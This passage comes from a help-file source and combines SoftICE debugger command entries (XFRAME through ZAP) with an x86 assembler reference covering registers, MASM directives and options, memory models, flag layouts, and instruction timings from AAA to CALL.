scope table (xTable). The scope table entry contains a link to its parent scope (if any).
In the event that a stack frame is not present, the XFRAME will not be able to complete the
stack walk.

%Output
For each exception frame that is installed, the following information displays:
xFrame Address of the ExceptionRegistration. This value is stack based.
xHandler Address of the global exception handler which dispatches the
exception to the appropriate try/except/finally filter/handler.
xTable Address of the scope table used by the global exception handler to
dispatch exceptions.
xScope Index into the xTable for the currently active exception handler. If this
value is -1, the exception handler is installed, but is inactive and will
not trap an exception.

%Example
The following example illustrates the use of the XFRAME command for the currently active
thread:

```
.:XFRAME
xFrame xHandler xTable xScope
------ -------- ------ ------
0x45FFFDC 0x60639638 0x606018B8 00
try/except (0000) filter=0x60606F72, handler=0x60606F85
0x45FFFA8 0x5FE16890 0x5FE11210 00
try/except (0000) filter=0x5FE125EB, handler=0x5FE125F8
0x45FFB74 0x77F8B1BC 0x77F61370 00
try/except (0000) filter=0x77F7DD21, handler=0x77F7DD31
```

:XG
^XG Windows 3.1, Windows 95 Symbol/Source
^Go to an address in trace simulation mode.

%Syntax
XG [r] address

%Use
XG does a Go to a specific code address within the back trace history buffer. This command
can only be used in trace simulation mode. The R parameter makes XG go backwards within
the back trace history buffer. If the specified address is not found within the back trace history
buffer, an error displays.

%Example
 This example makes the instruction at address CS:2FF000h the current instruction in the
 back trace history buffer.
 XG 2ff000

:XP
^XP WINDOWS 3.1, WINDOWS 95 SYMBOL/SOURCE
^Ctrl-F10
^Program step in trace simulation mode.

%Syntax
 XP

%Use
 The XP command does a program step of the current instruction in the back trace history
 buffer. It can only be used in trace simulation mode. Use this command to skip over calls to
 procedures and rep string instructions.

%Example
 This example does a program step over the current instruction in the back trace history buffer.
 XP

:XRSET
^XRSET WINDOWS 3.1, WINDOWS 95 SYMBOL/SOURCE COMMAND
^Reset the back trace history buffer.

%Syntax
 XRSET

%Use
 XRSET clears all information from the back trace history buffer. It can only be used when
 NOT in trace simulation mode.

%Example
 This example clears the back trace history buffer.
 XRSET

:XT
^XT WINDOWS 3.1, WINDOWS 95 SYMBOL/SOURCE COMMAND
^Ctrl-F8, XT R Alt-F8
^Single step in trace simulation mode.

%Syntax
 XT [R]

%Use
 Use the XT command to single step the current instruction in the back trace history buffer.

 The XT command is valid only within the in trace simulation mode. This command steps to
 the next instruction contained in the back trace history buffer. The command XT R single
 steps backwards within the back trace history buffer.

%Example
 This example single steps one instruction forward in the back trace history buffer.
 XT

:ZAP
^ZAP WINDOWS 3.1, WINDOWS 95, WINDOWS NT MODE CONTROL COMMAND
^Replace an embedded interrupt 1 or 3 with a NOP.

%Syntax
 ZAP

%Use
 The ZAP command replaces an embedded interrupt 1 or 3 with the appropriate number of
 NOP instructions. This is useful when the INT 1 or INT 3 is placed in code that is repeatedly
 executed and you no longer want SoftICE to pop up. This command works only if the INT 1
 or INT 3 instruction is the one before the current CS:EIP.

%Example
 The embedded interrupt 1 or interrupt 3 will be replaced with NOP instructions in the
 following example:
 ZAP

```
@Assembler Programming Topics
:8086 architecture
^Intel 8086 Family Architecture

%     General Purpose Registers           Segment Registers

      AH/AL  AX  (EAX)  Accumulator        CS   Code Segment
      BH/BL  BX  (EBX)  Base               DS   Data Segment
      CH/CL  CX  (ECX)  Counter            SS   Stack Segment
      DH/DL  DX  (EDX)  Data               ES   Extra Segment
                                    (FS)  386 and newer
      (Exx) indicates 386+ 32 bit register     (GS)  386 and newer


%     Pointer Registers            Stack Registers

      SI (ESI)  Source Index              SP (ESP)  Stack Pointer
      DI (EDI)  Destination Index         BP (EBP)  Base Pointer
      IP      Instruction Pointer

%     Status Registers

      FLAGS Status Flags   (see ~FLAGS~)

%     Special Registers (386+ only)

      CR0   Control Register 0        DR0  Debug Register 0
      CR2   Control Register 2        DR1  Debug Register 1
      CR3   Control Register 3        DR2  Debug Register 2
                                DR3  Debug Register 3
      TR4   Test Register 4           DR6  Debug Register 6
      TR5   Test Register 5           DR7  Debug Register 7
      TR6   Test Register 6
      TR7   Test Register 7

%     Register      Default Segment    Valid Overrides

      BP                SS           DS, ES, CS
      SI or DI          DS           ES, SS, CS
      DI strings        ES           None
      SI strings        DS           ES, SS, CS


      - see  ~CPU~   ~DETECTING~  ~Instruction Timing~

:Instruction Timing
^Instruction Clock Cycle Calculation


      Some instructions require additional clock cycles due to a "Next
      Instruction Component" identified by a "+m" in the instruction
      clock cycle listings.  This is due to the prefetch queue being
      purge on a control transfers. Below is the general rule for
      calculating "m":


      88/86 not applicable
      286  "m" is the number of bytes in the next instruction
      386  "m" is the number of components in the next instruction
            (the instruction coding (each byte), plus the data and
            the displacement are all considered components)
```

^8088/8086 Effective Address (EA) Calculation

% Description	Clock Cycles
Displacement	6
Base or Index (BX,BP,SI,DI)	5
Displacement+(Base or Index)	9
Base+Index (BP+DI,BX+SI)	7
Base+Index (BP+SI,BX+DI)	8
Base+Index+Displacement (BP+DI,BX+SI)	11
Base+Index+Displacement (BP+SI+disp,BX+DI+disp)	12

- add 4 cycles for word operands at odd addresses
- add 2 cycles for segment override
- 80188/80186 timings differ from those of the 8088/8086/80286

% Task State Calculation

"TS" is defined as switching from VM/486 or 80286 TSS to one of the following:

Old Task	New Task: 486 TSS (VM=0)	486 TSS (VM=1)	386 TSS (VM=0)	386 TSS (VM=1)	286 TSS
386 TSS (VM=0)			309	226	282
386 TSS (VM=1)			314	231	287
386 CPU/286 TSS			307	224	280
486 CPU/286 TSS	199	177			180

% Miscellaneous

- all timings are for best case and do not take into account wait states, instruction alignment, the state of the prefetch queue, DMA refresh cycles, cache hits/misses or exception processing.
- to convert clocks to nanoseconds divide one microsecond by the processor speed in MegaHertz:

^(1000MHz/(n MHz)) = X nanoseconds

- see ~8086 Architecture~

:directives:asm directives
^Macro Assembler Directives

^Processor Code Generation Directives

.186 enables assembly of 80186 instructions
.286 enables assembly of non privileged 80286 instructions
.286C same as .286
.286P enables assembly of all 80286 instructions
.287 enabled assembly of 80287 instructions
.386 enabled assembly of non privileged 80386 instructions

```
      If used before .MODEL segments are defined as 32bits.
      Causes all segments to default to DWORD alignment.
.386P enabled assembly of all 80386 instructions (see .386)
.387  enabled assembly of 80387 instructions
.8086 default, enables assembly of 8088/8086 instruction
.8087 default, enables assembly of 8087 instructions


These directives must precede the segment they are to effect.
they cannot occur within a segment.
```

^Memory Model Directives

```
.CODE  [name]     starts code segment; must follow .MODEL directive
.CONST            starts a constant data segment with name CONST;
            must follow .MODEL directive; placed in DGROUP
.DATA       starts a near data segment for initialized data
            with name _DATA; must follow .MODEL directive;
            placed in DGROUP
.DATA?            starts a near data segment for uninitialized
            data with name _BSS; must follow .MODEL
            directive; placed in DGROUP
.FARDATA [name]   not placed in any group
.FARDATA? [name] not placed in any group
.MODEL model      defines memory model to be one of the following:
            SMALL, COMPACT, MEDIUM, LARGE or HUGE;   must be
            used prior to any other segment directive
.STACK [size]     indicates start of stack segment named 'STACK'
            with size indicating number of bytes to reserve,
            default is 1k; placed in DGROUP
```

^Segment Definition, Segment Ordering and Linkage Directives

```
.ALPHA            orders segments alphabetically
.SEQ        orders segments sequentially (default)
ASSUME sreg:name [,sreg:name...]   selects default segment
            register to be used by the assembler, not the CPU,
            for addressing all symbols in the segment or group.
            Name must be associated with a SEGMENT or GROUP
            or set to "NOTHING" to indicate no segment register
            is to be associated.
COMM def [,def...]  defines variables that are both public and
            external (communal).  Can be used in and include
            file to identify it to each source file without
            declaring it in each model as extern.  Actually
            defines data once.  Communal variables cannot be
            initialized, and are not guaranteed to be allocated
            contiguously since these are allocated by the linker.
DOSSEG            orders segments the same as DOS.  This is Microsoft
            languages default order; causes paragph alignment
END [name]  marks end of source module and sets program
            start address (CS:IP) if 'name' is present
name ENDP         ends procedure 'name'
name ENDS         ends a segment or structure
   EXTRN name:type [,name:type...]  defines one or more external symbols
name GROUP seg[,seg]
name LABEL [NEAR|FAR|PROC]  defines an entry point;     If PROC is specified,
            it's value depends on the current MODEL
   NAME pgmName      ignored since MASM 5.0; used to set module name
name PROC [NEAR|FAR] defines procedure; NEAR/FAR has .MODEL default
   PUBLIC name[,name...]  makes symbol 'name' available to other modules
```

```
   name SEGMENT [align][combine][use]['class']
            align = BYTE      align on byte address (no alignment)
                  = WORD      align on even address
                  = DWORD     align on DWORD address
                  = PARA      align on next 16 byte paragraph
                  = PAGE      align on next 256 byte boundary
            combine = PUBLIC  similar named segments are concatenated (CS)
                  = STACK   similar named segments are concatenated (SS)
                  = COMMON  similar named segment are overlapped
                  = MEMORY  similar names segments are concatenated
                  = AT addr segment relative to absolute address
                  = nothing segment is private and loaded independent
            use   = USE16   segments will be 16 bits (if .386)
                  = USE32   segments will be 32 bits (if .386)
```

^Data Allocation Directives

```
      ALIGN n           aligns next variable or instruction on a boundary
                  that is a multiple of "n".  This can speed memory
                  fetches on 16 and 32 bit CPU'S if aligned.  New to
                  ~MASM~ 5.0, previous versions used EVEN.  Can result
                  in NOP's added to code.
 [name]     DB init[,init...]  define byte
 [name]     DD init[,init...]  define double word (DWORD, 4 bytes)
 [name]     DF init[,init...]  define far word (FWORD, 386, 6 bytes)
 [name]     DQ init[,init...]  define quad word (QWORD, 8 bytes)
 [name]     DT init[,init...]  define temp word (TBYTE, 10 bytes)
 [name]     DW init[,init...]  define word (WORD, 2 bytes)
  count     DUP (init[,init...]) duplicate 'init' 'count' times; DUP can be
                  nested to 17 levels; DUP'ed initial values
                  of (?) don't result in data in the object file
                  but instead increment the next data addr
   name     ENDS        end of structure or segment
      EVEN        same as align 2;  Aligns data on even boundary
      ORG expr    sets location counter to 'expr';  If 'expr'
                  is '$' the code is ORG'ed at the current loc.
   name     RECORD fld[,fld...]  defines a byte or word variable
                  consisting of bit fields;  fields have the format:
                  fieldname:width[=expr];  the sum of all widths
                  must be <= 0
 [name]     STRUC <[init[,init]]>  defines beginning of a structure; Values
                  between <> are initializers;  The '<>' symbols
                  are required.
```

^Logical and Bit Oriented Directives

```
  expr1     AND  expr2  returns nonzero if any set bit matches
  expr1     EQ   expr2  returns (-1) for true or (0) for false
  expr1     GE   expr2  returns (-1) for true or (0) for false
  expr1     LE   expr2  returns (-1) for true or (0) for false
  expr1     LT   expr2  returns (-1) for true or (0) for false
      MASK {fldname|record}  returns bit mask for bits in record
  expr1     OR   expr2  returns bitwise OR on expr1 and expr2
      NOT  expr   returns 'expr' with all bits reversed
   expr     SHL  count  returns expr shifted left count times
   expr     SHR  count  returns expr shifted right count times
      WIDTH {fldname|record}  returns width of field in bit record
  expr1 XOR expr2 returns bitwise XOR on expr1 and expr2
```

^Other Operators and Directives

```
      []           index operator, same as addition
      .MSFLOAT     encode floats in Microsoft Real Format
      .TYPE expr   returns byte defining mode and scope of expr
   name     EQU    expr  assigns expression to name. surround text with <>
      HIGH  expr   returns high byte of 'expr'
      INCLUDE filespec  inserts code from 'filespec' into file
      INCLUDELIB filespec  stores link library info in .OBJ file
      LENGTH       var   returns number of data objects in DUPed 'var'
      LOW   expr   returns low byte of 'expr'
  expr1     MOD    expr2 return remainder of expr1/expr2
      OFFSET       expr  returns offset of expr;   When .MODEL is used
                   the offset of a group relative segment refers
                   to the end of the segment
   type     PTR    expr  forces 'expr' to 'type'
      SEG   expr   returns segment of expression
      SHORT        sets type of label to short, less than 128
                   bytes from start of next instruction
      SIZE  var    returns # of bytes allocated by DUP directive
      THIS  type   returns an operand of specified type whose
                   offset and segment values are equal to the
                   current location
      TYPE  expr   returns type of expression
```

% Program Listing and Documentation Directives

```
      .CREF        restores listing of cross reference symbols
      .LALL        include macro expansion in listings
      .LFCOND            include false conditional blocks in listings
      .LIST        starts listing of statements
      .SALL        suppress listing of all macro expansions
      .SFCOND            suppress false conditional blocks in listings
      .XALL        start listing of macro expansion
      .XCREF [name[,name...]]  suppress symbols in cross reference
      .XLIST             suppress program listing
      COMMENT delimiter [text]
      PAGE   [[len],wid]      sets page length&width or ejects if no parms
      SUBTTL       text  defines program listing subtitle
      TITLE text   defines program listing title
```

% Condition Assembly Directives

```
      ELSE         else clause for conditional assembly block
      ENDIF        terminates a conditional assembly block
      IFDEF name   conditional assembly if name is defined
```

% Macro Definition Directives

```
      ENDM         terminates a macro block
      EXITM        exit macro expansion immediately
      IRP  parm,<arg[,arg...]> parm in the statements enclosed by the
                   IRP and ENDM will be repeated and replaced with the
                   values of "arg" for each "arg" in the <>.
      IRPC parm,<string>  parm in the statements enclosed by the IRPC
                   and ENDM will be repeated and replaced with the values
                   of each char in the "string" for each character
                   position in the string.  "string" should be enclosed
                   in <> if it contains spaces or other separators.
      LOCAL name[,name...]  defines scope symbol as local to a macro
   name     MACRO [parm[,parm...]]  defines a macro and it's parameters
```

```
      PURGE name[,name]  purges macros from memory
      REPT  expr  repeats all statements through ENDM statement for
                  'expr' times


%     User Message Directives

      .ERR        generates and error
      .ERR1       generates an error on PASS 1
      .ERR2       generates an error on PASS 2
      .ERRB <arg> generates an error if 'arg' is blank
      .ERRDEF name      generates an error if 'name' is previously defined
      .ERRDIF[I] <arg1>,<arg2>
      .ERRE expr  generates and error is 'expr' is false
      %OUT  text  displays 'text' to console


%     Predefined Equates (available only if simplified segments are used)

      @curseg           contains the current segment
      @filename   current file name without extension
      @code       contains the current code segment
      @codesize   0 for small & compact, 1 for large, medium & huge
      @datasize   0 for small & medium, 1 for compact & large, 2=huge
      @const            contains segment of define by .CONST
      @data       contains segment of define by .DATA
      @data?            contains segment of define by .DATA?
      @fardata    contains segment of define by .FARDATA
      @fardata?   contains segment of define by .FARDATA?
      @stack            contains segment of define by .STACK

      Most of these are only available if the simplified segment system
      is used.  @curseg and @filename are available regardless.


%     Radix Specifiers

      .RADIX expr sets radix [2..16] for numbers (dec. default)
      B           binary data specifier
      Q           octal data specifier
      O           octal data specifier
      D           decimal data specifier
      H           hexadecimal data specifier


:masm options:assembler options
^Microsoft Assembler Command Line Options

^MASM [options] srcfile[,[objfile][,[lstfile][,[xreffile]]]][;]

%     Options           Definition
      /A          generate segments in alphabetical order
      /B[size]          sets I/O buffer size in K bytes (1..63, default 32)
      /C          generate cross reference file with .CRF extension
      /D          generate PASS 1 listing
      /Dsym[=val] define symbol for use during assembly
      /E          emulate floating point instructions (for use with HLL)
      /H          list options and command syntax
      /Ipath            include-file search path
      /L          generate listing file with .LST extension
      /ML         case sensitive for all symbols
      /MU         upper case all symbols (default)
      /MX         case sensitive in external and public symbols
```

```
      /N          suppress symbol tables in listings
      /P          check for impure code in 286 and 386 protected
                  mode (invalid CS overrides)
      /S          generate segments in the order they are found (default)
      /T          terse message display; display errors only
      /V          verbose message display; includes # lines and symbols
      /W{0|1|2}   assembly warning level
                      0 = no warnings
                      1 = severe warnings only
                      2 = all warnings enabled
      /X          display complete conditional assembly blocks in
                  listing including false conditionals
      /Z          display errors including line numbers to screen
      /ZD         generate line numbers in .OBJ files
      /ZI         generate both symbolic and line number information in
                  .OBJ files

%     Environment Variables

      INCLUDE           search path for include files
      MASM        default command line options
:flags register:8086 flags
^FLAGS - Intel 8086 Family Flags Register

      ³11³10³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  CF Carry Flag
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  1
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  PF Parity Flag
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  0
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  AF Auxiliary Flag
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  0
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  ZF Zero Flag
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  SF Sign Flag
      ³  ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  TF Trap Flag  (Single Step)
      ³  ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄ  IF Interrupt Flag
      ³  ³ ³ ³ ³ ³ ³ ÀÄÄÄ  DF Direction Flag
      ³  ³ ³ ³ ³ ³ ÀÄÄÄ  OF Overflow flag
      ³  ³ ³ ³ ÀÄÄÄÄÄÄ  IOPL I/O Privilege Level  (286+ only)
      ³  ³ ³ ÀÄÄÄÄÄÄ  NT Nested Task Flag  (286+ only)
      ³  ³ ÀÄÄÄÄÄÄ  0
      ³  ÀÄÄÄÄÄÄ  RF Resume Flag (386+ only)
      ÀÄÄÄÄÄÄÄ  VM  Virtual Mode Flag (386+ only)

      - see ~PUSHF~  ~POPF~  ~STI~  ~CLI~  ~STD~  ~CLD~
:models:segment names
^Memory Model Programming & Segment Information

%     Model
      TINY  Data and code fit in one 64K segment.  All code and
            data are accessed via near pointers.
      SMALL 64k data segment max and 64k code segment max. All
            code and data are accessed via near pointers.
      COMPACT     1Mb data segment max and 64K code segment max. Code
            is accessed via near pointers, data is accessed via
            far pointers.  No array can be greater than 64K
      MEDIUM      64K data segment max and 1Mb code segment max. Code is
            accessed via far pointers, data is accessed vianear pointers.
      LARGE 1Mb data segment max and 1Mb code segment max. All
            code and data are accessed via far pointers.  No
            single element can be greater than 64K.
      HUGE  1Mb data segment max and 1Mb code segment max. All
            code and data are accessed via far pointers.  This is
            the only model where arrays can be larger than 64K.
```

```
            In this mode is C will normalize all data pointers
            to avoid segment wrapping.

^Small Memory Model

%     Directive  Segment    Alignment    Combine     Class
      .CODE     _TEXT   WORD      PUBLIC  'CODE'
      .DATA     _DATA   WORD      PUBLIC  'DATA'
      .CONST          CONST   WORD      PUBLIC  'CONST'
      .DATA?          _BSS    WORD      PUBLIC  'BSS'
      .STACK          STACK   PARA      STACK   'STACK'


^Compact Memory Model

%     Directive   Segment    Alignment    Combine    Class
      .CODE     _TEXT   WORD      PUBLIC  'CODE'
      .FARDATA    FAR_DATA    PARA      private 'FAR_DATA'
      .FARDATA?   FAR_BSS     PARA      private 'FAR_BSS'
      .DATA     _DATA   WORD      PUBLIC  'DATA'
      .CONST          CONST   WORD      PUBLIC  'CONST'
      .DATA?          _BSS    WORD      PUBLIC  'BSS'
      .STACK          STACK   PARA      STACK   'STACK'


^Medium Memory Model

%     Directive  Segment    Alignment        Combine Class
      .CODE   name_TEXT WORD      PUBLIC  'CODE'
      .DATA     _DATA   WORD      PUBLIC  'DATA'
      .CONST          CONST   WORD      PUBLIC  'CONST'
      .DATA?          _BSS    WORD      PUBLIC  'BSS'
      .STACK          STACK   PARA      STACK   'STACK'


^Large or Huge Memory Models

%     Directive    Segment  Alignment        Combine Class
      .CODE     name_TEXT     WORD      PUBLIC  'CODE'
      .FARDATA    FAR_DATA    PARA      private 'FAR_DATA'
      .FARDATA?   FAR_BSS     PARA      private 'FAR_BSS'
      .DATA      _DATA  WORD      PUBLIC  'DATA'
      .CONST           CONST  WORD      PUBLIC  'CONST'
      .DATA?           _BSS   WORD      PUBLIC  'BSS'
      .STACK           STACK  PARA      STACK   'STACK'


      - all segments fall into DGROUP except for ???_TEXT, FAR_DATA
        and FAR_BSS
      - see ~MASM DIRECTIVES~
:msw:machine status word
^MSW - Machine Status Word (286+ only)


      ³31³30-5³4³3³2³1³0³  Machine Status Word
      ³   ³   ³ ³ ³ ³ ÀÄÄÄÄ Protection Enable (PE)
      ³   ³   ³ ³ ³ ÀÄÄÄÄÄ Math Present (MP)
      ³   ³   ³ ³ ÀÄÄÄÄÄÄ Emulation (EM)
      ³   ³   ³ ÀÄÄÄÄÄÄÄ Task Switched (TS)
      ³   ³  ÀÄÄÄÄÄÄÄÄ Extension Type (ET)
      ³   ÀÄÄÄÄÄÄÄÄÄÄÄ Reserved
      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Paging (PG)
```

```
      Bit 0 PE    Protection Enable, switches processor between
                  protected and real mode
      Bit 1 MP    Math Present, controls function of the ~WAIT~
                  instruction
      Bit 2 EM    Emulation, indicates whether coprocessor functions
                  are to be emulated
      Bit 3 TS    Task Switched, set and interrogated by coprocessor
                  on task switches and when interpretting coprocessor
                  instructions
      Bit 4 ET    Extension Type, indicates type of coprocessor in
                  system
      Bits 5-30   Reserved
      bit 31      PG    Paging, indicates whether the processor uses page
                  tables to translate linear addresses to physical
                  addresses

      - see ~SMSW~  ~LMSW~
:aaa
^AAA - Ascii Adjust for Addition


      Usage:      AAA
      Modifies flags: AF CF (OF,PF,SF,ZF undefined)


      Changes contents of AL to valid unpacked decimal.  The high order
      nibble is zeroed.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none           8   3     4         3         1


      - see ~Instruction Timing~

:aad
^AAD - Ascii Adjust for Division


      Usage:      AAD
      Modifies flags: SF ZF PF (AF,CF,OF undefined)


      Used before dividing unpacked decimal numbers.  Multiplies AH by
      10 and the adds result into AL.  Sets AH to zero.  This instruction
      is also known to have an undocumented behavior.



%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      none           60  14    19    14            2

      - see ~Instruction Timing~

:aam
^AAM - Ascii Adjust for Multiplication
```

```
        Usage:      AAM
        Modifies flags: PF SF ZF (AF,CF,OF undefined)


        Used after multiplication of two unpacked decimal numbers, this
        instruction adjusts an unpacked decimal number.  The high order
        nibble of each byte must be zeroed before using this instruction.
        This instruction is also known to have an undocumented behavior.


%                        Clocks                 Size
%       Operands     808x  286   386   486        Bytes

        none          83  16    17    15            2


        - see ~Instruction Timing~

:aas
^AAS - Ascii Adjust for Subtraction


        Usage:      AAS
        Modifies flags: AF CF (OF,PF,SF,ZF undefined)


        Corrects result of a previous unpacked decimal subtraction in AL.
        High order nibble is zeroed.


%                        Clocks                 Size
%       Operands     808x  286   386   486        Bytes

        none          8   3     4         3         1


        - see ~Instruction Timing~

:adc
^ADC - Add With Carry

        Usage:      ADC   dest,src
        Modifies flags: AF CF OF SF PF ZF


        Sums two binary operands placing the result in the destination.
        If CF is set, a 1 is added to the destination.


%                       Clocks                  Size
%       Operands     808x  286   386   486        Bytes

        reg,reg       3   2     2         1         2
        mem,reg     16+EA 7     7         3        2-4  (W88=24+EA)
        reg,mem      9+EA 7     6         2        2-4  (W88=13+EA)
        reg,immed     4   3     2         1        3-4
        mem,immed   17+EA 7     7         3        3-6  (W88=23+EA)
        accum,immed   4   3     2         1        2-3


        - see ~Instruction Timing~

:add
```

^ADD - Arithmetic Addition

```
      Usage:      ADD   dest,src
      Modifies flags: AF CF OF PF SF ZF


      Adds "src" to "dest" and replacing the original contents of "dest".
      Both operands are binary.


%                        Clocks                 Size
%     Operands     808x  286   386   486        Bytes

      reg,reg       3   2     2         1         2
      mem,reg     16+EA 7     7         3        2-4  (W88=24+EA)
      reg,mem      9+EA 7     6         2        2-4  (W88=13+EA)
      reg,immed     4   3     2         1        3-4
      mem,immed   17+EA 7     7         3        3-6  (W88=23+EA)
      accum,immed   4   3     2         1        2-3


      - see ~Instruction Timing~
```

:and
^AND - Logical And

```
      Usage:      AND   dest,src
      Modifies flags: CF OF PF SF ZF (AF undefined)


      Performs a logical AND of the two operands replacing the destination
      with the result.


%                       Clocks                  Size
%     Operands     808x  286   386   486        Bytes

      reg,reg       3   2     2         1         2
      mem,reg     16+EA 7     7         3        2-4  (W88=24+EA)
      reg,mem      9+EA 7     6         1        2-4  (W88=13+EA)
      reg,immed     4   3     2         1        3-4
      mem,immed   17+EA 7     7         3        3-6  (W88=23+EA)
      accum,immed   4   3     2         1        2-3


      - see ~Instruction Timing~
```

:arpl
^ARPL - Adjusted Requested Privilege Level of Selector
^(286+ protected mode)

```
      Usage:      ARPL  dest,src
      Modifies flags: ZF


      Compares the RPL bits of "dest" against "src". If the RPL bits
      of "dest" are less than "src", the destination RPL bits are set
      equal to the source RPL bits and the Zero Flag is set.     Otherwise
      the Zero Flag is cleared.


%                       Clocks                  Size
```

```
%     Operands     808x  286   386   486        Bytes

      reg,reg       -   10    20    9             2
      mem,reg       -   11    21    9             4


      - see ~Instruction Timing~
```

:bound
^BOUND - Array Index Bound Check (80188+)

```
      Usage:      BOUND src,limit
      Modifies flags: None


      Array index in source register is checked against upper and lower
      bounds in memory source.  The first word located at "limit" is
      the lower boundary and the word at "limit+2" is the upper array bound.
      Interrupt 5 occurs if the source value is less than or higher than
      the source.


%                        Clocks                Size
%     Operands     808x  286   386   486        Bytes

      reg16,mem32   -   nj=13 nj=10   7           2
      reg32,mem64   -   nj=13 nj=10   7           2

      - nj = no jump taken
      - see ~Instruction Timing~
```

:bsf
^BSF - Bit Scan Forward (386+ only)

```
      Usage:      BSF   dest,src
      Modifies flags: ZF


      Scans source operand for first bit set.  Sets ZF if a bit is found
      set and loads the destination with an index to first set bit.  Clears
      ZF is no bits are found set.  BSF scans forward across bit pattern
      (0-n) while BSR scans in reverse (n-0).


%                        Clocks                Size
%     Operands     808x  286   386   486        Bytes

      reg,reg       -   -   10+3n  6-42          3
      reg,mem       -   -   10+3n  7-43         3-7
      reg32,reg32   -   -   10+3n  6-42         3-7
      reg32,mem32   -   -   10+3n  7-43         3-7


      - see ~Instruction Timing~
```

:bsr
^BSR - Bit Scan Reverse (386+ only)

```
      Usage:      BSR   dest,src
      Modifies flags: ZF
```

Scans source operand for first bit set. Sets ZF if a bit is found set and loads the destination with an index to first set bit. Clears ZF is no bits are found set. BSF scans forward across bit pattern (0-n) while BSR scans in reverse (n-0).

% Operands	Clocks 808x	286	386	486	Size Bytes
reg,reg	-	-	10+3n	6-103	3
reg,mem	-	-	10+3n	7-104	3-7
reg32,reg32	-	-	10+3n	6-103	3-7
reg32,mem32	-	-	10+3n	7-104	3-7

- see ~Instruction Timing~

:bswap
^BSWAP - Byte Swap (486+ only)

Usage: BSWAP reg32
Modifies flags: none

Changes the byte order of a 32 bit register from big endian to little endian or vice versa. Result left in destination register is undefined if the operand is a 16 bit register.

% Operands	Clocks 808x	286	386	486	Size Bytes
reg32	-	-	-	1	2

- see ~Instruction Timing~

:bt
^BT - Bit Test (386+ only)

Usage: BT dest,src
Modifies flags: CF

The destination bit indexed by the source value is copied into the Carry Flag.

% Operands	Clocks 808x	286	386	486	Size Bytes
reg16,immed8	-	-	3	3	4-8
mem16,immed8	-	-	6	6	4-8
reg16,reg16	-	-	3	3	3-7
mem16,reg16	-	-	12	12	3-7

- see ~Instruction Timing~

```
:btc
^BTC - Bit Test with Compliment  (386+ only)


      Usage:      BTC   dest,src
      Modifies flags: CF


      The destination bit indexed by the source value is copied into the
      Carry Flag after being complimented (inverted).


%                        Clocks                Size
%     Operands     808x  286   386   486       Bytes

      reg16,immed8        -   -     6         6        4-8
      mem16,immed8        -   -     8         8        4-8
      reg16,reg16   -   -     6         6        3-7
      mem16,reg16   -   -     13    13           3-7


      - see ~Instruction Timing~

:btr
^BTR - Bit Test with Reset  (386+ only)


      Usage:      BTR   dest,src
      Modifies flags: CF


      The destination bit indexed by the source value is copied into the
      Carry Flag and then cleared in the destination.


%                        Clocks                Size
%     Operands     808x  286   386   486       Bytes

      reg16,immed8        -   -     6         6        4-8
      mem16,immed8        -   -     8         8        4-8
      reg16,reg16   -   -     6         6        3-7
      mem16,reg16   -   -     13    13           3-7


      - see ~Instruction Timing~

:bts
^BTS - Bit Test and Set  (386+ only)


      Usage:      BTS   dest,src
      Modifies flags: CF


      The destination bit indexed by the source value is copied into the
      Carry Flag and then set in the destination.


%                        Clocks                Size
%     Operands     808x  286   386   486       Bytes

      reg16,immed8        -   -     6         6        4-8
      mem16,immed8        -   -     8         8        4-8
```

```
      reg16,reg16   -   -     6         6        3-7
      mem16,reg16   -   -     13    13           3-7


      - see ~Instruction Timing~

:call
^CALL - Procedure Call

      Usage:      CALL  destination
      Modifies flags: None

      Pushes Instruction Pointer (and Code Segment for far calls) onto
      stack and loads Instruction Pointer with the address of proc-name.
      Code continues with execution at CS:IP.

%                                          Clocks
%              Operands            808x   286     386     486

      rel16 (near, IP relative)           19     7      7+m      3
      rel32 (near, IP relative)           -    -      7+m      3

      reg16 (near, register indirect)           16     7      7+m      5
      reg32 (near, register indirect)           -    -      7+m      5

      mem16 (near, memory indirect)       -     21+EA    11    10+m      5
      mem32 (near, memory indirect)       -    -     10+m      5

      ptr16:16 (far, full ptr supplied)   28     13    17+m      18
      ptr16:32 (far, full ptr supplied)   -    -     17+m      18
      ptr16:16 (far, ptr supplied, prot. mode) -     26    34+m      20
      ptr16:32 (far, ptr supplied, prot. mode) -     -     34+m      20
      m16:16 (far, indirect)              37+EA    16    22+m      17
      m16:32 (far, indirect)              -    -     22+m      17
      m16:16 (far, indirect, prot. mode)  -      29    38+m      20
      m16:32 (far, indirect, prot. mode)  -    -     38+m      20

      ptr16:16 (task, via TSS or task gate)     -     177     TS     37+TS
      m16:16 (task, via TSS or task gate) -   180/185  5+TS    37+TS
      m16:32 (task)                       -    -      TS     37+TS
      m16:32 (task)                       -    -     5+TS    37+TS

      ptr16:16 (gate, same privilege)           -      41    52+m      35
      ptr16:32 (gate, same privilege)           -    -     52+m      35
      m16:16 (gate, same privilege)             -    44    56+m      35
      m16:32 (gate, same privilege)       -    -     56+m      35

      ptr16:16 (gate, more priv, no parm) -    82    86+m      69
      ptr16:32 (gate, more priv, no parm) -    -     86+m      69
      m16:16 (gate, more priv, no parm)   -    83    90+m      69
      m16:32 (gate, more priv, no parm)   -    -     90+m      69

      ptr16:16 (gate, more priv, x parms) -    86+4x  94+4x+m  77+4x
      ptr16:32 (gate, more priv, x parms) -    -    94+4x+m  77+4x
      m16:16 (gate, more priv, x parms)   -    90+4x  98+4x+m  77+4x
      m16:32 (gate, more priv, x parms)   -    -    98+4x+m  77+4x


      - see ~Instruction Timing~

